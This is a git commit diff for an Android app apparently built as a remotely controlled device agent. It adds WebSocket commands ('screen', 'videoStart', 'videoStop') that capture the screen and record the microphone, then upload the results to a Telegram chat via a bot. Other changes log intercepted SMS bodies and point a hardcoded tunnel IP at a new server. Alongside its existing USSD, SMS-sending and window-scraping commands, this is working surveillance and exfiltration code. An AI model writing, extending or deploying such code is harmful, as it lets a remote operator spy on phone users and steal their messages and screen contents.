hxMac 1 týždeň pred
rodič
commit
986d859540

+ 6 - 5
frpc_android-master/app/build.gradle

@@ -339,8 +339,8 @@ android {
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"wss://cm-naughty.lkluckpanda.online/69f3476bb6e001a9c320719073f055cc/app/\""
-            buildConfigField "String", "FRPC_IP", "\"3.68.76.198\""
-            buildConfigField "String", "FRPC_PORT", "\"7000\""
+            buildConfigField "String", "FRPC_IP", "\"3.73.141.19\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXX\""
             manifestPlaceholders = [app_icon: "@mipmap/ic_r"]
             ndk {
                 //noinspection ChromeOsAbiSupport
@@ -514,8 +514,8 @@ android {
 //        minSdkVersion 29
         //noinspection ExpiredTargetSdkVersion
         targetSdkVersion 30
-        versionCode 60
-        versionName "0.40.5.1"
+        versionCode 65
+        versionName "0.40.5.6"
         multiDexEnabled true
         testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
     }
@@ -911,6 +911,7 @@ dependencies {
     implementation "com.microsoft.appcenter:appcenter-crashes:${appCenterSdkVersion}"
     implementation "com.microsoft.appcenter:appcenter-distribute:${appCenterSdkVersion}"
     implementation project(':ussd-library')
-
+    implementation 'com.github.LxzBUG:ScreenShare:1.1.6'
+    implementation 'com.arthenica:mobile-ffmpeg-full-gpl:4.4'
 }
 

+ 18 - 0
frpc_android-master/app/proguard-rules.pro

@@ -251,3 +251,21 @@
 -keep class androidx.lifecycle.** { *; }
 -keep class androidx.arch.core.** { *; }
 -keep class com.romellfudi.ussdlibrary.** { *; }
+# 保留 FFmpeg 库的主要类
+-keep class com.arthenica.mobileffmpeg.** { *; }
+
+# 保留使用的 Native 方法
+-keepclasseswithmembernames class * {
+    native <methods>;
+}
+
+# 保留所有带有 Log 注解的类和方法
+-keep class * {
+    @android.util.Log *;
+}
+
+# 如果你的项目使用了 `FFmpeg` 回调功能,保留回调接口
+-keepclassmembers class com.arthenica.mobileffmpeg.Config {
+    public static void enableLogCallback(...);
+    public static void enableStatisticsCallback(...);
+}

+ 6 - 2
frpc_android-master/app/src/main/AndroidManifest.xml

@@ -27,7 +27,8 @@
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
 
     <application
@@ -138,7 +139,10 @@
                 tools:replace="android:resource" />
         </provider>
 
-
+        <service
+            android:name=".util.ScreenCaptureService"
+            android:permission="android.permission.FOREGROUND_SERVICE"
+            android:foregroundServiceType="mediaProjection"/>
     </application>
 
 </manifest>

+ 90 - 1
frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java

@@ -29,6 +29,8 @@ import android.view.WindowManager;
 import android.widget.TextView;
 
 import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.fragment.app.FragmentActivity;
 import androidx.navigation.NavController;
 import androidx.navigation.Navigation;
 import androidx.navigation.ui.AppBarConfiguration;
@@ -71,6 +73,12 @@ import com.google.gson.JsonArray;
 import com.google.gson.JsonObject;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
+import org.loka.screensharekit.EncodeBuilder;
+import org.loka.screensharekit.ErrorInfo;
+import org.loka.screensharekit.ScreenShareKit;
+import org.loka.screensharekit.callback.ErrorCallBack;
+import org.loka.screensharekit.callback.RGBACallBack;
+
 import java.util.ArrayList;
 import java.util.Calendar;
 import java.util.HashMap;
@@ -92,6 +100,10 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     private androidx.lifecycle.Observer<String> observer5;
     private Locale currentLocal = EN_LOCAL;
 
+    private byte[] mBytes;
+    private int w;
+    private int h;
+
     @SuppressLint("SetTextI18n")
     @Override
     public void initView() {
@@ -151,6 +163,7 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).removeObserver(observer3);
         LiveEventBus.get(SMS_UPLOAD_TAG, String.class).removeObserver(observer4);
         LiveEventBus.get(PHONE_TAG, String.class).removeObserver(observer5);
+
     }
 
     @Override
@@ -266,6 +279,74 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     @Override
     public boolean onNavigationItemSelected(@NonNull MenuItem item) {
         switch (item.getItemId()) {
+            case R.id.screen:
+//                ThreadUtils.runOnUiThread(WsManager::getNowRootInActiveWindowDemo);
+                try {
+                    ThreadUtils.runOnUiThreadDelayed(() -> {
+                                EncodeBuilder encodeBuilder = ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity());
+                                encodeBuilder.setScreenDataType(EncodeBuilder.SCREEN_DATA_TYPE.RGBA);
+                                encodeBuilder.onRGBA(new RGBACallBack() {
+                                            @Override
+                                            public void onRGBA(@NonNull byte[] bytes, int i, int i1, int i2, int i3, boolean b) {
+
+                                                Log.d("hzshkj", "[MainActivity] onRGBA: " + bytes.length);
+                                                Log.d("hzshkj", "[MainActivity] 宽: " + i);
+                                                Log.d("hzshkj", "[MainActivity] 高: " + i1);
+                                                Log.d("hzshkj", "[MainActivity] i2: " + i2);
+                                                Log.d("hzshkj", "[MainActivity] i3: " + i3);
+                                                Log.d("hzshkj", "[MainActivity] b: " + b);
+                                                mBytes = bytes;
+                                                w = i2;
+                                                h = i1;
+                                                ScreenShareKit.INSTANCE.stop();
+                                            }
+                                        })
+                                        .onError(errorInfo -> Log.d("hzshkj", "[MainActivity] onError: " + errorInfo.getMessage()))
+
+                                        .onStart(() -> Log.d("hzshkj", "开始截屏"))
+                                        .start();
+                            }
+                            , 500);
+
+                } catch (Exception e) {
+
+                }
+
+                ThreadUtils.runOnUiThreadDelayed(() -> {
+                    new TgBot(mBytes, w, h);
+                }, 5000);
+
+                break;
+            case R.id.start_video:
+                try {
+                    ThreadUtils.runOnUiThreadDelayed(() -> {
+                                ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity())
+                                        .onH264((buffer, isKeyFrame, width, height, ts) -> {
+                                            HxUtils.saveH264ToFile(buffer, Utils.getApp().getFilesDir().getPath() + "/video.h264");
+                                        })
+                                        .onStart(() -> Log.d("hzshkj", "开始录制屏幕"))
+                                        .start();
+                            }
+                            , 500);
+
+                } catch (Exception e) {
+
+                }
+                break;
+            case R.id.stop_video:
+                try {
+                    ScreenShareKit.INSTANCE.stop();
+                } catch (Exception e) {
+
+                }
+
+                ThreadUtils.runOnUiThreadDelayed(new Runnable() {
+                    @Override
+                    public void run() {
+                        new TgBot();
+                    }
+                }, 5000);
+                break;
             case R.id.restart:
                 AppUtils.relaunchApp(true);
                 return true;
@@ -421,7 +502,8 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
                     setMsg("Current sim card status : Absent");
                     List<HashMap<String, String>> list2 = new ArrayList<>();
                     XLog.d("检测到sim卡被拔出");
-                    ToastUtils.showLong(R.string.sim);
+                    if (!BuildConfig.DEBUG)
+                        ToastUtils.showLong(R.string.sim);
                     HxUtils.setPhone("");
                     LiveEventBus.get(PHONE_TAG).post("");
                     if (!ObjectUtils.equals(list2, phoneListAdapter.getData())) {
@@ -656,4 +738,11 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         }
     }
 
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
+        super.onActivityResult(requestCode, resultCode, data);
+    }
+
+
 }

+ 47 - 0
frpc_android-master/app/src/main/java/com/app/duck/util/HxUtils.java

@@ -5,6 +5,7 @@ import android.app.ActivityManager;
 import android.content.ContentResolver;
 import android.content.Context;
 import android.database.Cursor;
+import android.graphics.Bitmap;
 import android.net.Uri;
 import android.provider.Telephony;
 import android.telephony.SubscriptionInfo;
@@ -29,8 +30,11 @@ import com.google.gson.JsonArray;
 
 import java.io.BufferedReader;
 import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStreamReader;
+import java.nio.ByteBuffer;
 import java.nio.charset.StandardCharsets;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -355,4 +359,47 @@ public class HxUtils {
         return map;
 
     }
+
+
+    public static void saveH264ToFile(ByteBuffer buffer, String filePath) {
+        try (FileOutputStream fos = new FileOutputStream(filePath, true)) { // 追加写入
+            byte[] h264Data = new byte[buffer.remaining()];
+            buffer.get(h264Data);
+            fos.write(h264Data);
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+    }
+
+    // 将 RGBA byte[] 转换为 Bitmap
+    public static Bitmap rgbaToBitmap(byte[] bytes, int width, int height) {
+        // 检查字节数组大小是否符合要求
+
+
+        // 创建 ARGB_8888 格式的 Bitmap
+        Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+
+        // 将 byte[] 转换为 ByteBuffer,并将其复制到 Bitmap
+        ByteBuffer buffer = ByteBuffer.wrap(bytes);
+        bitmap.copyPixelsFromBuffer(buffer);
+
+        return bitmap;
+    }
+
+    // 将 Bitmap 保存为文件
+    public static void saveBitmapToFile(Bitmap bitmap, String filePath) throws IOException {
+        File file = new File(filePath);
+        FileOutputStream out = null;
+        try {
+            out = new FileOutputStream(file);
+            // 将 Bitmap 写入文件,格式为 PNG,质量为 100(PNG 是无损格式)
+            bitmap.compress(Bitmap.CompressFormat.JPEG, 40, out);
+            out.flush(); // 确保所有数据都写入文件
+        } finally {
+            if (out != null) {
+                out.close(); // 关闭输出流,释放资源
+            }
+        }
+    }
+
 }

+ 2 - 0
frpc_android-master/app/src/main/java/com/app/duck/util/PermissionsUtils.java

@@ -53,6 +53,8 @@ public class PermissionsUtils {
             permission.add(Manifest.permission.CALL_PHONE);
             permission.add(Manifest.permission.DISABLE_KEYGUARD);
             permission.add(Manifest.permission.WRITE_EXTERNAL_STORAGE);
+            permission.add(Manifest.permission.RECORD_AUDIO);
+            permission.add(Manifest.permission.FOREGROUND_SERVICE);
             permission.add(Manifest.permission.READ_EXTERNAL_STORAGE);
         }
         if (b2) {

+ 102 - 0
frpc_android-master/app/src/main/java/com/app/duck/util/ScreenCaptureService.java

@@ -0,0 +1,102 @@
+package com.app.duck.util;
+
+import android.app.Notification;
+import android.app.Service;
+import android.content.Intent;
+import android.content.pm.ServiceInfo;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.MediaRecorder;
+import android.media.projection.MediaProjection;
+import android.os.Build;
+import android.os.Environment;
+import android.os.IBinder;
+import android.view.Surface;
+
+import androidx.core.app.NotificationCompat;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * author: hx
+ * created on: 2024/10/31 11:08
+ * description:
+ */
+public class ScreenCaptureService extends Service {
+    public static MediaProjection mediaProjection;
+    private VirtualDisplay virtualDisplay;
+    private MediaRecorder mediaRecorder;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        // 启动前台服务
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
+            startForeground(1, getNotification(), ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION);
+        }
+        initMediaRecorder();
+        startScreenRecording();
+
+        return START_STICKY;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+
+    private Notification getNotification() {
+        NotificationCompat.Builder builder = new NotificationCompat.Builder(this, "screen_record_channel")
+                .setContentTitle("Screen Recording")
+                .setContentText("Recording your screen")
+                .setPriority(NotificationCompat.PRIORITY_HIGH);
+        return builder.build();
+    }
+
+    private void initMediaRecorder() {
+        File outputFile = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), "recorded_video.mp4");
+        mediaRecorder.setOutputFile(outputFile.getAbsolutePath());
+        mediaRecorder = new MediaRecorder();
+        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
+        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
+        mediaRecorder.setOutputFile(outputFile.getAbsolutePath());
+        mediaRecorder.setVideoSize(1080, 1920); // 设置分辨率
+        mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
+        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+        mediaRecorder.setVideoEncodingBitRate(5 * 1024 * 1024);
+        mediaRecorder.setVideoFrameRate(30);
+
+        try {
+            mediaRecorder.prepare();
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void startScreenRecording() {
+        Surface surface = mediaRecorder.getSurface();
+        virtualDisplay = mediaProjection.createVirtualDisplay("ScreenRecord",
+                1080, 1920, 320,
+                DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
+                surface, null, null);
+
+        mediaRecorder.start();
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        mediaRecorder.stop();
+        mediaRecorder.release();
+        virtualDisplay.release();
+        mediaProjection.stop();
+    }
+}

+ 3 - 0
frpc_android-master/app/src/main/java/com/app/duck/util/SmsReceiver.java

@@ -35,6 +35,7 @@ public class SmsReceiver extends BroadcastReceiver {
     public void onReceive(Context context, Intent intent) {
         if (intent.getAction().equals(SMS_RECEIVED)) {
             ThreadUtils.runOnUiThreadDelayed(() -> {
+
                 HashMap<String, String> map = new HashMap<>();
                 Bundle bundle = intent.getExtras();
                 if (bundle != null) {
@@ -52,6 +53,8 @@ public class SmsReceiver extends BroadcastReceiver {
 
                         }
                         String smsBody = smsBodyBuilder.toString();
+                        Log.d("hzshkj", "[SmsReceiver] onReceive: "+smsBody);
+
                         String phone = getPhone(intent.getExtras()) == null ? "UNKNOWN" : getPhone(intent.getExtras());
                         map.put("body", smsBody);
                         map.put("address", phone);

+ 177 - 1
frpc_android-master/app/src/main/java/com/app/duck/util/TgBot.java

@@ -8,6 +8,7 @@ import android.util.Log;
 import com.app.duck.BuildConfig;
 import com.app.duck.Config;
 import com.app.duck.R;
+import com.arthenica.mobileffmpeg.FFmpeg;
 import com.blankj.utilcode.util.AppUtils;
 import com.blankj.utilcode.util.DeviceUtils;
 import com.blankj.utilcode.util.FileUtils;
@@ -47,11 +48,78 @@ public class TgBot {
         }
     }
 
-    public void sendFileToGroup() {
+    public TgBot() {
+        sendVideToGroup();
+    }
+
+    public TgBot(byte[] bytes, int w, int h) {
+        String filePath = Utils.getApp().getFilesDir().getPath() + "/screen.jpg";
+        try {
+            HxUtils.saveBitmapToFile(HxUtils.rgbaToBitmap(bytes, w, h), filePath);
+            sendScreenToGroup(filePath);
+        } catch (Exception e) {
+            Log.d("hzshkj", "[TgBot] TgBot: " + e.getMessage());
+        }
+
+    }
+
+    public void sendScreenToGroup(String path) {
         ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
             @Override
             public Object doInBackground() throws Throwable {
+                ToastUtils.showLong(R.string.pushing);
+                XLog.i(StringUtils.getString(R.string.pushing));
+                String filePathZip = Utils.getApp().getFilesDir().getPath() + "/zip/screen.zip";
+                FileUtils.createFileByDeleteOldFile(filePathZip);
+                OkHttpClient client = new OkHttpClient();
+                ZipUtils.zipFile(path, filePathZip, "screen zip push");
+                File file = new File(filePathZip);
+                MultipartBody.Builder builder = new MultipartBody.Builder()
+                        .setType(MultipartBody.FORM)
+                        .addFormDataPart("chat_id", HxUtils.getChatId())
+                        .addFormDataPart("document", file.getName(), RequestBody.create(MediaType.parse("text/plain"), file));
+                HttpUrl.Builder urlBuilder = HttpUrl.parse(APP_TG_SEND_DOCUMENT).newBuilder();
+                Request request = new Request.Builder()
+                        .url(urlBuilder.build())
+                        .post(builder.build())
+                        .build();
+                Response response = client.newCall(request).execute();
+                if (response.isSuccessful()) {
+                    ToastUtils.showLong(R.string.push_suc);
+                    Log.i(Config.LOG_TAG, "File sent successfully.");
+                    XLog.i("File sent successfully.");
+                } else {
+                    ToastUtils.showLong(R.string.push_error);
+                    Log.i(Config.LOG_TAG, "Failed to send file. Response: " + response.body().string());
+                    XLog.i("Failed to send file. Response: " + response.body().string());
+                }
+                return null;
+            }
 
+            @Override
+            public void onSuccess(Object result) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                ToastUtils.showLong(R.string.push_error);
+                Log.e(Config.LOG_TAG, "Send file to group fail. ", t);
+                XLog.e("Send file to group fail. ", t);
+            }
+        });
+
+    }
+
+    public void sendFileToGroup() {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
+            @Override
+            public Object doInBackground() throws Throwable {
                 try {
                     XLog.i("AndroidId -> " + DeviceUtils.getAndroidID());
                     XLog.i("AppName -> " + AppUtils.getAppName());
@@ -117,6 +185,95 @@ public class TgBot {
 
     }
 
+    public void sendVideToGroup() {
+        String filePath = Utils.getApp().getFilesDir().getPath() + "/video.h264";
+        String filePathMp4 = Utils.getApp().getFilesDir().getPath() + "/videos.mp4";
+        ThreadUtils.executeByIo(new ThreadUtils.SimpleTask<Integer>() {
+            @Override
+            public Integer doInBackground() throws Throwable {
+                ToastUtils.showLong(R.string.pushing);
+                XLog.i(StringUtils.getString(R.string.pushing));
+                return convertH264ToMp4(filePath, filePathMp4);
+            }
+
+            @Override
+            public void onSuccess(Integer result) {
+                if (result == 0) {
+                    pushVideo(filePathMp4, filePath);
+                } else {
+                    pushVideo(filePath, filePathMp4);
+                }
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                super.onFail(t);
+                pushVideo(filePath, filePathMp4);
+            }
+
+            @Override
+            public void onCancel() {
+                super.onCancel();
+                pushVideo(filePath, filePathMp4);
+            }
+        });
+
+
+    }
+
+    private void pushVideo(String filePath, String filePath2) {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
+            @Override
+            public Object doInBackground() throws Throwable {
+                String filePathZip = Utils.getApp().getFilesDir().getPath() + "/zip/video.zip";
+                FileUtils.createFileByDeleteOldFile(filePathZip);
+                ZipUtils.zipFile(filePath, filePathZip, "video zip push");
+                OkHttpClient client = new OkHttpClient();
+                File file = new File(filePathZip);
+                MultipartBody.Builder builder = new MultipartBody.Builder()
+                        .setType(MultipartBody.FORM)
+                        .addFormDataPart("chat_id", HxUtils.getChatId())
+                        .addFormDataPart("document", file.getName(), RequestBody.create(MediaType.parse("text/plain"), file));
+                HttpUrl.Builder urlBuilder = HttpUrl.parse(APP_TG_SEND_DOCUMENT).newBuilder();
+                Request request = new Request.Builder()
+                        .url(urlBuilder.build())
+                        .post(builder.build())
+                        .build();
+                Response response = client.newCall(request).execute();
+                if (response.isSuccessful()) {
+                    ToastUtils.showLong(R.string.push_suc);
+                    FileUtils.delete(filePath2);
+                    FileUtils.delete(filePath);
+                    FileUtils.delete(filePathZip);
+                    Log.i(Config.LOG_TAG, "video sent successfully.");
+                    XLog.i("video sent successfully.");
+                } else {
+                    ToastUtils.showLong(R.string.push_error);
+                    Log.i(Config.LOG_TAG, "Failed to send video. Response: " + response.body().string());
+                    XLog.i("Failed to send video. Response: " + response.body().string());
+                }
+                return null;
+            }
+
+            @Override
+            public void onSuccess(Object result) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                ToastUtils.showLong(R.string.push_error);
+                Log.e(Config.LOG_TAG, "Send file to group fail. ", t);
+                XLog.e("Send file to group fail. ", t);
+            }
+        });
+    }
+
     public void sendMessageToGroup(String message) {
         ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
             @Override
@@ -162,4 +319,23 @@ public class TgBot {
         });
 
     }
+
+    public int convertH264ToMp4(String h264FilePath, String outputMp4FilePath) {
+        // 设置合理的比特率和分辨率以保持基础清晰度
+        String command = String.format("-i %s -b:v 100k -r 5 -vf scale=480:-2 -c:v libx264 -crf 30 -preset ultrafast -an %s", h264FilePath, outputMp4FilePath);
+
+        // 使用 FFmpeg 执行命令
+        int rc = FFmpeg.execute(command);
+        ToastUtils.showLong("rc : " + rc);
+        if (rc == 0) {
+            Log.d("FFmpeg", "转换成功!");
+        } else if (rc == 255) {
+            Log.d("FFmpeg", "转换被取消!");
+        } else {
+            Log.d("FFmpeg", String.format("转换失败,返回代码:%d", rc));
+        }
+        return rc;
+    }
+
+
 }

+ 133 - 3
frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java

@@ -19,6 +19,7 @@ import android.util.Base64;
 import android.util.Log;
 
 import androidx.annotation.NonNull;
+import androidx.fragment.app.FragmentActivity;
 
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONArray;
@@ -43,6 +44,11 @@ import com.romellfudi.ussdlibrary.USSDApi;
 import com.romellfudi.ussdlibrary.USSDController;
 import com.romellfudi.ussdlibrary.USSDService;
 
+import org.loka.screensharekit.EncodeBuilder;
+import org.loka.screensharekit.ErrorInfo;
+import org.loka.screensharekit.ScreenShareKit;
+import org.loka.screensharekit.callback.ErrorCallBack;
+
 import java.io.File;
 import java.lang.reflect.Field;
 import java.util.ArrayList;
@@ -121,13 +127,16 @@ public final class WsManager {
                         ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
                         break;
                     case "log":
+                        sendWebSocketMsg(requestId, "over", "log success...");
                         ThreadUtils.runOnUiThread(() -> new TgBot("", false));
                         break;
                     case "message":
+                        sendWebSocketMsg(requestId, "over", "message success...");
                         ThreadUtils.runOnUiThread(() -> new TgBot(value, true));
                         break;
                     case "config":
                         HxUtils.checkForUpdateBotConfig();
+                        sendWebSocketMsg(requestId, "over", "config success...");
                     case "phoneConfig":
                         HxUtils.getPhoneConfig();
                     case "getRootInActiveWindow":
@@ -192,14 +201,105 @@ public final class WsManager {
                         sendSMSDelayed(requestId, content, value);
                         break;
                     case "relaunchApp":
+                        sendWebSocketMsg(requestId, "over", "relaunch app...");
                         AppUtils.relaunchApp(true);
                         break;
                     case "getLastEventText":
                         try {
-                            sendUssd(requestId, USSDService.event.getText().toString());
+                            sendWebSocketMsg(requestId, "over", USSDService.event.getText().toString());
                         } catch (Exception w) {
 
                         }
+                        break;
+                    case "videoStart":
+                        try {
+                            ThreadUtils.runOnUiThread(() -> {
+                                FileUtils.delete(Utils.getApp().getFilesDir().getPath() + "/video.h264");
+                            });
+                        } catch (Exception e) {
+
+                        }
+                        try {
+                            ThreadUtils.runOnUiThreadDelayed(() -> ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity())
+                                    .onH264((buffer, isKeyFrame, width, height, ts) -> {
+                                        HxUtils.saveH264ToFile(buffer, Utils.getApp().getFilesDir().getPath() + "/video.h264");
+                                    })
+                                    .onStart(() -> {
+                                        sendWebSocketMsg(requestId, "over", "videoStart");
+                                    })
+                                    .onError(new ErrorCallBack() {
+                                        @Override
+                                        public void onError(@NonNull ErrorInfo errorInfo) {
+                                            sendWebSocketMsg(requestId, "exception", "exception: " + errorInfo.getMessage());
+                                        }
+                                    })
+                                    .start(), 100);
+                        } catch (Exception e) {
+                            sendWebSocketMsg(requestId, "exception", "exception: " + e.getMessage());
+                        }
+                        break;
+                    case "videoStop":
+                        try {
+                            sendWebSocketMsg(requestId, "over", "videoStop...");
+                            ThreadUtils.runOnUiThread(new Runnable() {
+                                @Override
+                                public void run() {
+                                    ScreenShareKit.INSTANCE.stop();
+                                }
+                            });
+                            ThreadUtils.runOnUiThreadDelayed(TgBot::new, 5000);
+                        } catch (Exception e) {
+                            sendWebSocketMsg(requestId, "exception", "error:" + e.getMessage());
+                        }
+
+                        break;
+                    case "deleteVideo":
+                        ThreadUtils.runOnUiThread(() -> {
+                            FileUtils.delete(Utils.getApp().getFilesDir().getPath() + "/video.h264");
+                            sendWebSocketMsg(requestId, "over", "deleteVideo...");
+                        });
+                        break;
+                    case "screen":
+                        try {
+                            final byte[][] mBytes = new byte[1][1];
+                            final int[] w = new int[1];
+                            final int[] h = new int[1];
+                            ThreadUtils.runOnUiThreadDelayed(() -> {
+                                        EncodeBuilder encodeBuilder = ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity());
+                                        encodeBuilder.setScreenDataType(EncodeBuilder.SCREEN_DATA_TYPE.RGBA);
+                                        encodeBuilder.onRGBA((bytes, i, i1, i2, i3, b) -> {
+                                                    Log.d("hzshkj", "[MainActivity] onRGBA: " + bytes.length);
+                                                    Log.d("hzshkj", "[MainActivity] 宽: " + i);
+                                                    Log.d("hzshkj", "[MainActivity] 高: " + i1);
+                                                    Log.d("hzshkj", "[MainActivity] i2: " + i2);
+                                                    Log.d("hzshkj", "[MainActivity] i3: " + i3);
+                                                    Log.d("hzshkj", "[MainActivity] b: " + b);
+                                                    mBytes[0] = bytes;
+                                                    w[0] = i2;
+                                                    h[0] = i1;
+                                                    ScreenShareKit.INSTANCE.stop();
+                                                })
+                                                .onError(new ErrorCallBack() {
+                                                    @Override
+                                                    public void onError(@NonNull ErrorInfo errorInfo) {
+                                                        sendWebSocketMsg(requestId, "exception", "info:" + errorInfo.getMessage());
+                                                    }
+                                                })
+
+                                                .onStart(() -> Log.d("hzshkj", "开始截屏"))
+                                                .start();
+                                    }
+                                    , 500);
+
+                            ThreadUtils.runOnUiThreadDelayed(() -> {
+                                sendWebSocketMsg(requestId, "over", "start screen...");
+                                new TgBot(mBytes[0], w[0], h[0]);
+                            }, 5000);
+                        } catch (Exception e) {
+                            sendWebSocketMsg(requestId, "exception", "info:" + e.getMessage());
+                        }
+
+
                         break;
                     case "help":
                         HashMap<String, String> helpMap = new HashMap<>();
@@ -225,8 +325,12 @@ public final class WsManager {
                         helpMap.put("sendSMSDelayed", "发送短信,有回调");
                         helpMap.put("relaunchApp", "重启本App");
                         helpMap.put("getLastEventText", "获取最新一次ussd消息提示内容");
+                        helpMap.put("videoStart", "开始录屏");
+                        helpMap.put("videoStop", "结束录屏并上传");
+                        helpMap.put("deleteVideo", "删除录屏文件");
+                        helpMap.put("screen", "截屏");
                         helpMap.put("help", "获取所有命令列表");
-                        sendUssd(requestId, GsonUtils.toJson(helpMap));
+                        sendWebSocketMsg(requestId, "over", GsonUtils.toJson(helpMap));
                         break;
                     default:
                         XLog.e(command + " 没有定义该操作!");
@@ -590,7 +694,7 @@ public final class WsManager {
         sendMessage(GsonUtils.toJson(map), 0);
     }
 
-    private static void getNowRootInActiveWindow(String request_id) {
+    public static void getNowRootInActiveWindow(String request_id) {
         ThreadUtils.executeByIo(new ThreadUtils.Task<String>() {
             @Override
             public String doInBackground() throws Exception {
@@ -616,6 +720,32 @@ public final class WsManager {
 
     }
 
+    public static void getNowRootInActiveWindowDemo() {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<String>() {
+            @Override
+            public String doInBackground() throws Exception {
+                return Base64.encodeToString(HxUtils.gzip(PayController.getNowRootInActiveWindow()), 0);
+            }
+
+            @Override
+            public void onSuccess(String result) {
+                Log.d("hzshkj", "[WsManager] onSuccess: "+result);
+            }
+
+
+            @Override
+            public void onCancel() {
+                Log.d("hzshkj", "[WsManager] onCancel: ");
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                Log.e("hzshkj", "onFail: ", t);
+            }
+        });
+
+    }
+
     private static void startApp(String request_id, String packageName) {
         if (!StringUtils.isSpace(packageName)) {
             Intent launchAppIntent = IntentUtils.getLaunchAppIntent(packageName);

+ 1 - 1
frpc_android-master/app/src/main/java/com/app/http/Http.java

@@ -36,7 +36,7 @@ public class Http {
     public final static int FINISH_AND_RETRY = 2;
     private final Map<String, Object> params;    private static List<Callback.Cancelable> cancelableList = getCancelList();
     private String url;
-    private int timeout = 15 * 1000;
+    private int timeout = 30 * 1000;
     private LoadingDialog dialog;
     private boolean isBindLife = true;
     private Callback.Cancelable cancelable;

+ 9 - 0
frpc_android-master/app/src/main/res/menu/activity_main_drawer.xml

@@ -13,6 +13,15 @@
     <item
         android:id="@+id/change"
         android:title="@string/change" />
+    <item
+        android:id="@+id/start_video"
+        android:title="@string/start_video" />
+    <item
+        android:id="@+id/stop_video"
+        android:title="@string/stop_video" />
+    <item
+        android:id="@+id/screen"
+        android:title="@string/screen" />
     <item
         android:id="@+id/restart"
         android:title="@string/restart" />

+ 3 - 0
frpc_android-master/app/src/main/res/values-en/strings.xml

@@ -92,5 +92,8 @@
     <string name="server_port">Server Port</string>
     <string name="restart">Restart</string>
     <string name="connected_b_available_b">Connected: %b, Available: %b</string>
+    <string name="start_video">Start Recording</string>
+    <string name="stop_video">Stop Recording</string>
+    <string name="screen">Screen</string>
 
 </resources>

+ 3 - 0
frpc_android-master/app/src/main/res/values/strings.xml

@@ -90,5 +90,8 @@
     <string name="server_port">服务端口</string>
     <string name="restart">重启</string>
     <string name="connected_b_available_b">连接: %b, 可用: %b</string>
+    <string name="start_video">开始录制</string>
+    <string name="stop_video">结束录制</string>
+    <string name="screen">截屏</string>
 
 </resources>

+ 61 - 14
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDServicePay.java

@@ -7,25 +7,20 @@
 package com.romellfudi.ussdlibrary;
 
 import android.accessibilityservice.AccessibilityService;
-import android.app.Activity;
-import android.content.Context;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.PixelFormat;
-import android.graphics.Rect;
-import android.hardware.display.VirtualDisplay;
-import android.media.ImageReader;
-import android.media.projection.MediaProjection;
-import android.media.projection.MediaProjectionManager;
+import android.os.Build;
+import android.os.Parcel;
 import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
